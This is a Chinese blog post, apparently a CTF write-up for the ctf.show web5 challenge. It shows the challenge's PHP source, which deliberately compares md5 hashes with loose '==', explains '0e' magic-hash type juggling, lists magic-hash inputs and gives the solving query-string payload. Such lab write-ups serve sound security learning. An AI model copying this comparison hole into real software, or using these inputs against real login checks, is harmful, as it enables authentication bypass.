ROSE笔记-ctf.show_web5-WP

最新推荐文章于 2024-06-19 23:25:05 发布

居上7788

最新推荐文章于 2024-06-19 23:25:05 发布

阅读量286

点赞数

分类专栏： ctf记录

><本博客上原创文章未经本人许可，不得用于商业用途。转载请注明出处，否则保留追究法律责任的权利。><

本文链接：https://blog.csdn.net/weixin_46439278/article/details/109529486

版权

ctf记录专栏收录该内容

78 篇文章 6 订阅

订阅专栏

ctf.show_web5

ctf.show_web5
- 源代码
- md5漏洞介绍：

ctf.show_web5

源代码

ctf.show_web5
where is flag?
<?php
error_reporting(0);
    
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>
</body>
</html>

需同时传入v1和v2
v1必须是纯字母，v2必须是纯数字，v1和v2的md5必须相同。

md5漏洞介绍：

PHP在处理哈希字符串时，它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。

--QNKCDZO
0e830400451993494058024219903391
--240610708
0e462097431906509019562988736854
--s878926199a
0e545993274517709034328855841020

payload：/?v1=QNKCDZO&v2=240610708

居上7788

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
ROSE笔记-ctf.show_web5-WP

ctf.show_web5ctf.show_web5源代码md5漏洞介绍：ctf.show_web5源代码ctf.show_web5where is flag?<?phperror_reporting(0); ?><html lang="zh-CN"><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <met
复制链接

扫一扫

专栏目录